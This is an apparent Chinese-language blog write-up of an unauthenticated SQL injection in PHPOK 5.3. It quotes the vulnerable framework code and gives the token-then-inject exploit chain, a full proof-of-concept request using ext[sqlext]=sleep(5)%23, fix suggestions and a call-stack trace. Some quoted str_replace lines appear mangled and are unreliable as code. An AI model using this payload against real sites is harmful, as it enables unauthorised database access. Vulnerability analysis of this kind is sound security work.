某OK 5.3 最新版前台注入
字数 892 2025-08-26 22:11:39
PHPOK 5.3 前台SQL注入漏洞分析与利用
漏洞概述
PHPOK 5.3 最新版存在一个前台SQL注入漏洞,攻击者可以通过精心构造的请求在无需登录的情况下执行任意SQL语句。该漏洞位于API接口中,涉及参数处理不当导致的SQL注入。
漏洞分析
关键函数分析
get() 方法 (framework/init.php)
final public function get($id,$type="safe",$ext=""){
// 获取参数值
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
// 处理空值
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
// 转义处理
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}
format() 方法 (framework/init.php)
final public function format($msg,$type="safe",$ext=""){
// 默认safe模式仅将\ " ' < >实体编码
if($type == 'safe'){
$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);
}
// ... 其他处理逻辑
return $msg;
}
注入点分析
漏洞位于 framework/api/index_control.php 的 phpok_f 函数中:
$ext = $this->get('ext');
if($ext && is_array($ext)){
foreach($ext as $key=>$value){
if(!$value){
continue;
}
// sqlext变量特殊处理 - 关键漏洞点
if($key == 'sqlext' && $value){
$value = str_replace(array(''','"',''','"'),array("'",'"',"'",'"'),$value);
}
$param[$key] = $value;
}
}
这里对 sqlext 参数进行了特殊处理,将HTML实体编码转换回原始字符,但没有进行充分的过滤,导致SQL注入。
漏洞利用链
-
通过
token_fAPI获取有效token:/api.php?c=index&f=token&id=m_picplayer -
使用获取的token构造注入请求:
/api.php?c=index&f=phpok&token=[有效token]&ext[sqlext]=sleep(5)%23&ext[site]=1 -
注入的SQL语句最终会被拼接到查询中:
// framework/phpok_call.php#_arc_condition if($rs['sqlext']){ $condition .= " AND ".$rs['sqlext']; }
漏洞复现步骤
1. 获取有效token
访问:
http://target.com/api.php?c=index&f=token&id=m_picplayer
获取加密后的token值。
2. 构造注入请求
使用获取的token构造注入请求:
GET /api.php?c=index&f=phpok&token=[token]&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: target.com
3. 验证注入
观察响应时间,如果响应延迟5秒,则证明注入成功。
完整POC
GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: target.com
修复建议
- 对
sqlext参数进行严格的过滤,避免直接拼接SQL语句 - 使用参数化查询或预处理语句
- 限制API接口的访问权限
- 对token进行有效期验证
技术要点总结
- 漏洞根源在于对用户输入的
sqlext参数处理不当 - 利用框架的动态函数调用机制实现攻击
- 通过token机制绕过部分权限检查
- 注入点位于API接口,影响范围较大
调用栈分析
index_control.php#phpok_f- 接收并处理参数phpok_call.php#phpok- 调用相应功能phpok_call.php#_arclist- 处理文章列表phpok_call.php#_arc_condition- 拼接SQL条件list.php#arc_count- 执行SQL查询
该漏洞展示了框架设计中参数处理不当可能导致的安全风险,特别是在动态SQL拼接场景下需要格外谨慎。